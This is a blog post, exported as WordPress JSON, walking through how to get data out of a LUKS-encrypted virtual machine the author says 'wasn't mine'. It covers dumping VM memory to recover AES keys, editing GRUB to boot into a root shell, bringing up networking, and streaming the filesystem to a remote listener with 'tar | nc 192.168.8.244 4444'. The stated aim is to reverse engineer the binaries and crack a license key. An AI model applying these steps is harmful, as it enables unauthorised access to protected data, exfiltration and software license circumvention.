{"id":2047,"date":"2025-02-06T11:40:11","date_gmt":"2025-02-06T11:40:11","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=2047"},"modified":"2025-02-06T11:40:11","modified_gmt":"2025-02-06T11:40:11","slug":"grub-luks-bypass-and-dump-2","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=2047","title":{"rendered":"GRUB LUKS Bypass and Dump"},"content":{"rendered":"<p>Recently, I needed to get the data off of a LUKS encrypted partition on a Virtual Machine that \u201cwasn\u2019t mine\u201d and I\u2019d never done it before. You can probably guess what happened next.<\/p>\n<p>As a preface, if you\u2019ve landed on this blog and are thinking to yourself _\u201dFinally, someone will tell me how to recover the LUKS key for my non-bootable system!<\/p>\n<p>\u2026I have bad news. This blog is not for you.<\/p>\n<p>For \u201creasons\u201d, some VM\u2019s may land in your lap that automatically decrypt the LUKS partitions. This may be for compliance reasons or meant to create a headache for those trying to peek intellectual property or whatever.<\/p>\n<p>But if the system boots and automatically decrypts the LUKS partition, this blog is about that type of system. As follows is basically my notes in case I should ever need to do this again. These problem sets present in various different forms.<\/p>\n<p>Spoilers: I will, I encounter this problem like 1-2 times a year.<\/p>\n<h1 class=\"wp-block-heading\">Prior Work<\/h1>\n<p>For personal projects, I like using VirtualBox. The VirtualBox tooling allows to mount a disk image file in read\/write mode with the following commands.<\/p>\n<p># Create mount point<br \/>\nsudo mkdir -p \/tmp\/vm<br \/>\n# Mount disk image<br \/>\nsudo vboximg-mount &#8211;rw -i absolute_path_to_disk_image\/disk1.vdi -o allow_other \/tmp\/vm<br \/>\n# List the size of the volume (you will need this later)<br \/>\nsudo blockdev &#8211;getsz \/tmp\/vm\/vol1<br \/>\n# Disk volumes appear under mount point list their info<br \/>\ncryptsetup luksDump \/tmp\/vm\/vol1<\/p>\n<p>The last command will produce output similar to:<\/p>\n<p>LUKS header information for \/tmp\/vm\/vol1<\/p>\n<p>Version:       \t1<br \/>\nCipher name:   \taes<br \/>\nCipher mode:   \tcbc-essiv:sha256<br \/>\nHash spec:     \tsha256<br \/>\nPayload offset:\t4096<br \/>\nMK bits:       \t256<br \/>\nMK digest:     \tc2 7a 99 b3 64 63 9f 01 78 0a 78 46 75 ea 6a 35 d3 62 cf ea<br \/>\nMK salt:       \tbe 8b d0 f6 5b 08 04 d5 24 e9 94 a7 fe 4d ca 1a<br \/>\n               \td5 21 ad 94 c7 19 8c ff 16 29 76 f0 cb 7f 0d 99<br \/>\nMK iterations: \t257762<br \/>\nUUID:          \te3353b4b-85fa-422c-bbbb-35d63cb3d7e7<\/p>\n<p>Key Slot 0: DISABLED<br \/>\nKey Slot 1: ENABLED<br \/>\n\tIterations:         \t4032984<br \/>\n\tSalt:               \t73 63 bb 16 04 13 30 41 a8 a6 94 cc ad 15 c8 f3<br \/>\n\t                      \t70 9b cb 57 68 42 41 d0 20 58 b1 a2 a6 10 6e 60<br \/>\n\tKey material offset:\t264<br \/>\n\tAF stripes:            \t4000<br \/>\nKey Slot 2: DISABLED<br \/>\nKey Slot 3: DISABLED<br \/>\nKey Slot 4: DISABLED<br \/>\nKey Slot 5: DISABLED<br \/>\nKey Slot 6: DISABLED<br \/>\nKey Slot 7: DISABLED<\/p>\n<p>At this point, unmount the disk image<\/p>\n<p>sudo umount \/tmp\/vm<\/p>\n<p>Boot the VM, and it should take a\u00a0<em>long time<\/em>\u00a0to boot. This generally means it\u2019s decrypting the disk. This also means the LUKS key is likely stored in memory somewhere.<\/p>\n<p>During the long decryption process, dump all of the memory of the running VM to a file.<\/p>\n<p>VBoxManage debugvm &#8220;NameOfTargetVM&#8221; dumpvmcore &#8211;filename=rawdump.raw<\/p>\n<p>This will produce a file\u00a0rawdump.raw<\/p>\n<h1 class=\"wp-block-heading\">Recovering keys from memory dump<\/h1>\n<p>Using\u00a0<a href=\"https:\/\/sourceforge.net\/projects\/findaes\/\">https:\/\/sourceforge.net\/projects\/findaes\/<\/a><\/p>\n<p>.\/findaes rawdump.raw<\/p>\n<p>This will take a bit, but will find all identified AES-256 key schedules in the memory dump and output similar to:<\/p>\n<p>Found AES-256 key schedule at offset 0x3ad9982f4:<br \/>\n00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f<br \/>\nFound AES-256 key schedule at offset 0x3ad9985b4:<br \/>\nf7 91 88 83 ee e3 3f 0e cc 70 c5 4a 3e 64 84 ef 9d 22 b3 38 90 95 74 15 80 3c 30 53 a5 65 52 4a<br \/>\nFound AES-256 key schedule at offset 0x3af9ae224:<br \/>\n00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f<br \/>\n(&#8230;)<\/p>\n<p>Yada Yada, look for key schedules that are contiguous in memory and try them.<\/p>\n<p>After re-mounting the disk image to\u00a0\/tmp\/vm\u00a0using commands above, fill in the volume size (from\u00a0blockdev\u00a0command above), cipher name\/mode\/hash, and payload offset in the command below:<\/p>\n<p>echo &#8220;0 44472320 crypt aes-cbc-essiv:sha256 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f 0 \/tmp\/vm\/vol1 4096&#8221; <br \/>\n| sudo dmsetup create luks-volume<\/p>\n<p>This will create dmcrypt devices to access the device at\u00a0\/dev\/mapper\/&lt;whatever&gt;<\/p>\n<p>And then fail and get frustrated at all of the opaque errors that come with full disk encryption.<\/p>\n<p>TODO: just automate this entire process with bruteforce i swear to god read the docs\u00a0<a href=\"https:\/\/gitlab.com\/cryptsetup\/cryptsetup\/tree\/master\/docs\">https:\/\/gitlab.com\/cryptsetup\/cryptsetup\/tree\/master\/docs<\/a><\/p>\n<h1 class=\"wp-block-heading\">Alternative Solutions<\/h1>\n<p>Okay, well, the VM boots. The disk is decrypted. But the VM boots into a restricted shell where I can\u2019t access anything useful (need a license key etc\u2026 but can\u2019t crack the license until I can access the binaries).<\/p>\n<p>We control the boot order and params, let\u2019s use that.<\/p>\n<p>Re-Mount the VMDK disk image.<\/p>\n<p>sudo vboximg-mount &#8211;rw -i absolute_path_to_disk_image\/disk1.vdi -o allow_other \/tmp\/vm<\/p>\n<p>The volume we want to get into is\u00a0\/tmp\/vm\/vol1. However, the system needs to boot from somewhere that\u2019s not encrypted, check\u00a0\/tmp\/vm\/vol0\u00a0for a grub configuration.<\/p>\n<p>Sure enough, it\u2019s at:<\/p>\n<p>\/tmp\/vm\/vol0\/boot\/grub\/grub.cfg<\/p>\n<p>We comment out the line for the kernel and replace it with our own\u00a0rdinit\u00a0that will drop us into a shell.<\/p>\n<p>menuentry &#8216;redacted&#8217; {<br \/>\n                set root='(crypto0)&#8217;<br \/>\n                cryptomount (hd0,msdos2)<br \/>\n                #linux   \/vmlinuz root=\/mnt\/os<br \/>\n                linux   \/vmlinuz rdinit=\/bin\/sh<br \/>\n                initrd  \/initrd.img<br \/>\n}<\/p>\n<p>We can see above that GRUB typically boots and changes the root to\u00a0\/mnt\/os. This is the encrypted filesystem we want.<\/p>\n<p>Make the changes. Unmount\u00a0\/tmp\/vm. Boot the VM.<\/p>\n<h1 class=\"wp-block-heading\">Back to basics<\/h1>\n<p>Booting the VM drops us into a busybox shell.<\/p>\n<p>Now, nothing has really happened yet. But at least we have a shell. We now need to trigger \u201cwhatever\u201d part of the boot process automatically mounts and decrypts the volume.<\/p>\n<p>In my case, it\u2019s the\u00a0init\u00a0binary in the root of the filesystem.<\/p>\n<p>Running:<\/p>\n<p>.\/init<\/p>\n<p>Does the magic, drops us into the\u00a0initramfs, and the encrypted disk is mounted at\u00a0\/mnt\/os.<\/p>\n<p>Now we need a way to get data out of the VM. Commonly networking is configured using init scripts. Source the init functions and trigger networking configuration. In most cases this will result in the VM obtaining a DHCP least where it now has networking.<\/p>\n<p>. \/script\/functions<br \/>\nconfigure_networking<\/p>\n<p>At this point, we have networking and we\u2019re root in an initramfs. If we change out roor to the\u00a0\/mnt\/os\u00a0like the GRUB config originally wanted we\u2019ll keep our networking and also have access to the common tools we like to use for data exfiltration, such as\u00a0nc.<\/p>\n<p>chroot \/mnt\/os \/bin\/sh<\/p>\n<h1 class=\"wp-block-heading\">Exfil<\/h1>\n<p>A coworker showed me this a while back (Thanks Ron!) and it only requires network access,\u00a0nc, and\u00a0tar.<\/p>\n<p>On a machine you want to exfil data to set up a listener:<\/p>\n<p>nc -v -l -p 4444 | tar -xvv<\/p>\n<p>Then, in the VM specify the directory you want exported.<\/p>\n<p>tar -cvv \/usr | nc 192.168.8.244 4444<\/p>\n<p>At the end, you have a fully exfil\u2019d LUKS encrypted filesystem. Reverse engineer the binaries. Crack the license key. Draw the rest of the owl.<\/p>\n<p>credit: remyhax <\/p>\n<p>\u2764\ufe0f If you liked the article,\u00a0<strong>like and subscribe<\/strong>\u00a0to my channel\u00a0<strong>\u201c<a href=\"http:\/\/t.me\/codelivly\">Codelivly<\/a>\u201d.<\/strong><\/p>\n<p>\ud83d\udc4d If you have any questions or if I would like to discuss the described hacking tools in more detail, then\u00a0<strong>write in the comments<\/strong>. Your opinion is very important to me!<\/p>","protected":false},"excerpt":{"rendered":"<p>Recently, I needed to get the data off of a LUKS encrypted partition on a Virtual Machine that \u201cwasn\u2019t mine\u201d and I\u2019d never done it before. You can probably guess what happened next. As a preface, if you\u2019ve landed on this blog and are thinking to yourself _\u201dFinally, someone will tell me how to recover [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":1803,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2047","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/2047"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2047"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/2047\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/1803"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2047"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}